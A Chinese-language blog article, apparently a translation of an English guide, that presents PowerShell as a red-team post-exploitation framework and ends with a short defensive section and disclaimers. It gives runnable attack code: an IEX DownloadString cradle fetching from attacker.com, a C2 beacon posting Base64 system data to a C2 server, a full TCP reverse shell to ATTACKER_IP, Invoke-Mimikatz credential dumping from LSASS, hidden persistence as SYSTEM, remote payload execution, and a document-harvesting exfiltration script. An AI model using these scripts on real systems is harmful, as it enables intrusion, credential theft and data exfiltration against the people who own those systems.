文章总结: PowerShell是Windows系统内置的强大工具,红队可利用其原生存在、内存执行和规避检测能力进行后渗透攻击。文章详细介绍了PowerShell在系统枚举、权限提升、持久化、C2通信等方面的应用技术,提供了实用脚本示例,并讨论了防御策略。理解PowerShell攻击技术对红队提升攻击能力和蓝队构建防御体系都至关重要。
综合评分: 87
文章分类: 红队,渗透测试,内网渗透,WEB安全,安全工具
PowerShell红队指南
aeverj
红队工坊
2025年11月20日 08:02
北京
翻译自 PowerShell for Hackers: Exploitation Essentials
如果你从事红队演练(red teaming)、渗透测试(penetration testing),或者只是热衷于探索网络安全的攻击层面,你的工具箱里肯定装满了各种心头好,比如 Metasploit、Cobalt Strike,或者一些自己写的 Python 脚本。但有一个强大的工具,往往就藏在我们眼皮底下,几乎每台现代 Windows 系统都预装了它:PowerShell。
PowerShell 有时会被当作只是个管理 Shell 而被忽视,或者在其他工具面前黯然失色。但实际上,它是一个极其强大的后渗透(post-exploitation)框架。一旦获得初始访问权限,攻击者就可以利用它”靠山吃山”(live off the land),将攻击行为伪装成合法的管理任务,实现持久化(persistence)、权限提升(privilege escalation)、数据外传(data exfiltration),而且常常能绕过杀毒软件(AV)和终端检测与响应(EDR)解决方案等传统安全控制。
这篇文章将深入探讨 PowerShell 高效的原因,研究红队人员常用的实用方法和真实脚本,并讨论防御者的关键缓解策略。这份指南将帮助你扩充 PowerShell 工具集,更深入地掌握基本的后渗透技术。
准备好提升你的后渗透能力了吗?让我们开始吧。
为什么 PowerShell 是后渗透利器
那么,是什么让 PowerShell 在琳琅满目的黑客工具中脱颖而出?让我们来逐一分析:
- 原生存在: 这一点非常关键。PowerShell 内置于 Windows 系统(版本 7 及以上)。这意味着不需要在目标系统上投放额外的二进制文件,大大降低了被安全解决方案检测到的风险——这些安全软件专门寻找已知的恶意可执行文件。你使用的是合法的、经过微软签名的工具,工作站和服务器上本来就有。
- 灵活性和强大功能: PowerShell 不仅仅是命令行,它是一个基于 .NET Framework 构建的完整脚本语言。这让你可以直接访问大量系统功能:WMI(Windows 管理规范,Windows Management Instrumentation)、COM 对象、Windows API、注册表、文件系统操作、网络通信——应有尽有。它的多功能性使其适合几乎所有后渗透任务。
- 内存执行: PowerShell 允许脚本和命令直接在内存中执行,而无需写入磁盘。攻击者常用的技术是使用
Invoke-Expression (IEX)配合DownloadString(例如IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')),悄无声息地下载和运行载荷。 - 规避杀毒软件的潜力: 虽然不是万无一失(特别是随着 AMSI——反恶意软件扫描接口,Antimalware Scan Interface 等技术的进步),但 PowerShell 的无文件运行能力,加上混淆技术,通常能绕过基于特征的杀毒检测。它还能混在合法的管理流量中,让行为检测变得更加困难。许多安全产品因为 PowerShell 的合法用途而将其列入白名单。
- 远程管理能力: PowerShell 远程管理(PowerShell Remoting,使用 WinRM)等功能提供了在远程机器上执行命令的内置机制,无需部署额外工具就能在网络中实现横向移动(lateral movement)。
常见的 PowerShell 后渗透技术
一旦获得初始访问权限和 PowerShell 提示符(即便是非特权的),真正的乐趣就开始了。以下是一些 PowerShell 表现出色的核心后渗透活动:
脚本执行故障排除
如果你因执行策略限制而无法运行 PowerShell 脚本,可以运行以下命令:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy UnrestrictedCopy
这条命令仅修改当前用户账户的执行策略,允许无限制地运行脚本。
1. 枚举系统信息(态势感知)
了解环境至关重要。PowerShell 能让情报收集变得快速高效:
-
系统信息:
Get-ComputerInfo、
Get-WmiObject Win32_OperatingSystem(提供操作系统版本、架构、内存等信息) -
用户和组信息:
Get-LocalUser、
Get-LocalGroup、whoami /all、query user、Get-WmiObject -Class Win32_ComputerSystem | Select-Object UserName(显示已登录用户) -
网络配置:
Get-NetIPConfiguration、
Get-NetIPAddress、Get-NetTCPConnection(类似 netstat) -
运行中的进程:
Get-Process -
域信息(如果已加入域):
需要 Active Directory 模块或自定义函数(例如 PowerSploit 中的 PowerView)。使用 AD 模块的示例:
Get-ADComputer -Filter * | Select-Object Name,OperatingSystem、Get-ADUser -Filter * -Properties MemberOf | Select-Object Name,MemberOf
示例代码片段(网络信息):
# 获取所有适配器的详细 IP 配置
Get-NetIPConfiguration | Format-Table InterfaceAlias, InterfaceDescription, IPv4Address, IPv4DefaultGateway, DNSServer -AutoSize
# 获取活动 TCP 连接及其关联的进程
Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, @{Name="ProcessName";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}}Copy
2. 权限提升
拿到了用户级别的访问权限?通常你还需要管理员权限。PowerShell 可以帮助识别和利用机会:
- 检查权限:对文件、文件夹、注册表键或服务使用
Get-Acl,查找可能被滥用的弱权限(例如,对系统 PATH 中的目录具有写入权限)。 - 利用服务:使用
Get-WmiObject Win32_Service | Select Name, State, PathName, StartMode查找具有弱权限(例如修改权限)或未加引号服务路径的服务。如果你能修改二进制路径或权限,可能可以替换可执行文件或劫持 DLL。 - 绕过用户账户控制(UAC,User Account Control):许多技术利用特定的 Windows 进程或 COM 对象在高完整性上下文中执行命令,而不触发 UAC 提示。虽然具体的绕过方法经常变化,但像 PowerSploit 的 PowerUp 模块(
Invoke-AllChecks)这样的工具可以自动搜索常见的错误配置和已知的 UAC 绕过向量。注意:依赖特定的绕过脚本(如旧的 mshta 方法)可能不可靠,因为它们会被修补。 - 查找存储的凭据:脚本可以搜索注册表键、配置文件、浏览器数据或 PowerShell 历史记录,查找保存的密码或敏感数据。
3. 持久化机制
在重启或注销后保持访问权限是关键。PowerShell 提供了几种实现方法:
-
计划任务
:创建一个任务,定期或在特定触发器(如用户登录或系统启动)时运行载荷。
# 示例:创建一个每天上午 9 点运行脚本的任务
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -File C:\path\to\your\payload.ps1"
$Trigger = New-ScheduledTaskTrigger -Daily -At 9am
# 注册任务以 SYSTEM 身份运行,具有最高权限
Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName "MyPersistenceTask" -Description "Totally legit task." -User "SYSTEM" -RunLevel HighestCopy
-
注册表运行键
:向
HKCU\Software\Microsoft\Windows\CurrentVersion\Run(用户登录)或HKLM\Software\Microsoft\Windows\CurrentVersion\Run(系统启动,需要管理员权限)等键添加条目。
# 示例:为当前用户添加运行键条目
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MyUpdater" -Value "powershell.exe -WindowStyle Hidden -File C:\path\to\your\payload.ps1" -PropertyType StringCopy
-
WMI 事件订阅
:一种更隐蔽的技术,你创建一个 WMI 事件过滤器(例如监控系统正常运行时间)和一个消费者,当事件发生时执行你的 PowerShell 代码。这更复杂,但通常比标准的运行键或计划任务更难检测。
4. 命令与控制(C2)通信
PowerShell 可用于建立和维护与 C2 服务器的通信通道:
-
HTTP/HTTPS
:使用
Invoke-WebRequest或System.Net.WebClient对象通过标准 Web 端口发送/接收数据,通常能绕过简单的防火墙规则。非常适合信标和数据外传。
# 示例:通过 POST 请求发送系统信息
$Data = Get-ComputerInfo | Out-String
$EncodedData = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($Data))
Invoke-WebRequest -Uri http://your-c2-server.com/data_receiver -Method POST -Body @{id="compromised_host"; data=$EncodedData}Copy
-
基本 TCP 反向 Shell
:与攻击者控制的监听器建立直接的 TCP 连接,进行交互式命令执行。更简单但通常会被防火墙阻止,且容易被检测到。
# 示例:简单的 TCP 反向 Shell
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP', 4444) # 攻击者监听端口 4444
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()Copy
- DNS 隧道:将数据编码在 DNS 请求中,即使直接 Web 访问被阻止时,DNS 请求通常也是允许的。需要专门的 C2 设置。
- ICMP 隧道:虽然不太常见且经常被阻止,但 PowerShell 可以制作 ICMP 数据包来外传少量数据。
Empire、PoshC2 和 Merlin 等框架大量利用 PowerShell 进行代理通信和任务执行。
实用 PowerShell 脚本示例
1. 凭据转储(通过 Invoke-Mimikatz)
功能:Mimikatz 以从内存中提取明文密码、哈希值、Kerberos 票据等而闻名,主要针对 LSASS(本地安全授权子系统服务,Local Security Authority Subsystem Service)进程。Invoke-Mimikatz 是一个 PowerShell 脚本(PowerSploit 的一部分),它将 Mimikatz 反射式 DLL 直接加载到内存中并执行其命令。
有效原因:避免将 Mimikatz 可执行文件投放到磁盘上,使基本的杀毒软件更难检测。提供了权限提升和横向移动所需的强大凭据访问能力。
使用方法(概念性):
# 假设 Invoke-Mimikatz.ps1 托管在你的服务器上或本地
# 将脚本加载到内存
IEX (New-Object Net.WebClient).DownloadString('http://your-server.com/Invoke-Mimikatz.ps1')
# 或者:Import-Module .\Invoke-Mimikatz.ps1
# 执行 Mimikatz 命令,例如从 LSASS 转储凭据
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords" "exit"'Copy
安全提示:运行 Mimikatz 很可能会被现代 EDR 解决方案和 AMSI 检测到。它需要提升的权限(管理员/SYSTEM),并且如果出错可能会破坏 LSASS 进程的稳定性(虽然罕见,但有可能)。务必先在实验室环境中测试。
2. 基本横向移动(通过 Invoke-Command)
-
功能:
使用 WinRM(Windows 远程管理,Windows Remote Management)在远程机器上执行命令或脚本块,前提是你拥有该机器的凭据,并且 WinRM 已启用/配置。
-
有效原因:
使用原生的 Windows 管理功能,使其看起来像合法的远程管理活动,可能融入正常的网络流量中。
-
使用方法:
# 你需要远程机器的凭据(例如通过 Mimikatz 转储的)
$Target = "TARGET_MACHINE_NAME_OR_IP"
$Cred = Get-Credential # 提示输入用户名/密码或使用获取的凭据
# 示例:在远程机器上运行 whoami
Invoke-Command -ComputerName $Target -Credential $Cred -ScriptBlock { whoami }
# 示例:复制载荷并远程执行
Copy-Item -Path C:\path\to\payload.exe -Destination \\$Target\C$\temp\payload.exe
Invoke-Command -ComputerName $Target -Credential $Cred -ScriptBlock { Start-Process C:\temp\payload.exe }Copy
-
安全提示:
需要有效的凭据,并且 WinRM 必须在目标上启用/配置。网络防火墙必须允许 WinRM 流量(TCP 5985/5986)。如果启用了审计,操作通常会记录在目标机器上。
3. 简单数据外传(查找并压缩特定文件)
-
功能:
搜索敏感文件(例如基于关键词或扩展名的文档),压缩它们,并准备外传。
-
有效原因:
使用原生的 PowerShell cmdlet 进行文件搜索和压缩(
Compress-Archive需要 PowerShell v5+),减少对外部工具的依赖。 -
使用方法:
# 定义搜索参数
$SearchPath = "C:\Users\"
$FileTypes = @("*.docx", "*.xlsx", "*.pptx", "*.pdf", "*.txt") # 添加相关类型
$ZipPath = "C:\temp\stolen_docs.zip" # 选择一个不太明显的路径/名称
# 查找文件(可能很吵且耗时)
$FilesToZip = Get-ChildItem -Path $SearchPath -Include $FileTypes -Recurse -ErrorAction SilentlyContinue
if ($FilesToZip) {
try {
# 压缩文件(需要 PowerShell v5+)
Compress-Archive -Path $FilesToZip.FullName -DestinationPath $ZipPath -Force -ErrorAction Stop
Write-Host "Files zipped to $ZipPath"
# 在此处添加外传步骤(例如使用 C2 部分中显示的 Invoke-WebRequest)
# $EncodedZip = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($ZipPath))
# Invoke-WebRequest -Uri http://your-c2/upload -Method POST -Body @{file=$EncodedZip}
# 清理 zip 文件(可选,但是好习惯)
# Remove-Item $ZipPath -Force
} catch {
Write-Warning "Error during zipping or exfiltration: $($_.Exception.Message)"
}
} else {
Write-Host "No matching files found."
}Copy
-
安全提示:
大规模文件搜索和压缩可能消耗大量资源,并触发性能警报或 EDR 启发式检测。通过 HTTP/DNS 的外传可能被网络监控(DLP、代理日志)检测到。负责任且合乎道德地处理敏感数据。
缓解措施和防御:防范恶意 PowerShell
好了,蓝队成员和防御者们,我们如何应对这个问题?防范 PowerShell 滥用需要分层方法:
- PowerShell 日志记录: 这非常关键。启用并集中化日志:
-
模块日志记录(事件 ID 4103):
记录管道执行详细信息,包括去混淆后的脚本片段。可能很冗长但很有用。
-
脚本块日志记录(事件 ID 4104):
在编译/执行时记录脚本块的完整内容,去混淆后。对于准确了解运行了什么代码极其有价值。也捕获交互式命令。
-
转录:
将 PowerShell 会话的完整输入和输出保存到文本文件(可能消耗资源)。
-
集中化日志:
将这些日志转发到 SIEM(安全信息和事件管理,Security Information and Event Management)进行分析、关联并对可疑模式发出警报。
- 执行策略: 虽然不是安全边界(可以使用
-ExecutionPolicy Bypass或其他方法轻松绕过),但通过组策略将其设置为RemoteSigned或AllSigned可以防止用户随意运行从互联网下载的未签名脚本。Restricted(客户端的默认值)更好但通常不切实际。使用Set-ExecutionPolicy RemoteSigned -Scope LocalMachine作为基准,但不要仅依赖它来保证安全。 - 受限语言模式: 当 PowerShell 在此模式下运行时(例如由 AppLocker/WDAC 策略或 JEA 强制执行),它会严重限制对敏感语言元素的访问,如 .NET 脚本、COM 对象和许多 Windows API,有效地削弱了许多高级攻击技术。
- 应用程序控制(AppLocker/WDAC): 配置策略以基于路径、哈希值或发布者规则定义_允许_运行的脚本和可执行文件。这可以明确阻止未经授权的 PowerShell 脚本,或将 PowerShell 本身限制为特定的签名脚本。
- 反恶意软件扫描接口(AMSI): 确保你的杀毒/EDR 解决方案正确集成了 AMSI。这个接口允许安全工具在执行前检查脚本内容(在内存中),即使它们被混淆或无文件。虽然攻击者_确实_有 AMSI 绕过技术,但它大大提高了门槛。
- 刚好够用管理(JEA,Just Enough Administration): 配置特定的端点,让管理员使用高度受限的、基于角色的 PowerShell 会话进行连接,这些会话只授予完成任务所需的最低权限,通常在临时的、低权限的虚拟账户下运行。
- 终端检测与响应(EDR): 现代 EDR 解决方案至关重要。它们监控进程执行链(例如 Word 启动 PowerShell)、命令行参数(寻找 Base64 编码、
IEX、DownloadString)、网络连接、异常 API 调用和行为模式,以检测可疑的 PowerShell 活动。 - 最小权限原则: 严格执行此原则。确保用户甚至管理员只拥有其角色绝对必需的权限。这限制了账户被入侵时的影响,并减少了权限提升的机会。
总结
PowerShell 无疑是一把双刃剑。对于管理员来说,它是必不可少的自动化和管理工具。对于攻击者来说,它是一个强大、隐蔽、内置的后渗透框架,非常适合”靠山吃山”。
理解 PowerShell 如何被用于攻击目的,对于希望完善技术的红队成员和旨在建立强大防御的蓝队成员都至关重要。通过实施分层防御策略——采用强大的日志记录、应用程序控制、受限语言模式、JEA 和现代 EDR 解决方案——组织可以显著检测、缓解和应对恶意 PowerShell 使用所带来的风险。
继续实验,持续学习,并始终以合乎道德和负责任的方式使用你的技能!祝你黑客之旅愉快!
如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号
在这里,我会持续分享更多高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!
免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红队工坊 aeverj《PowerShell红队指南》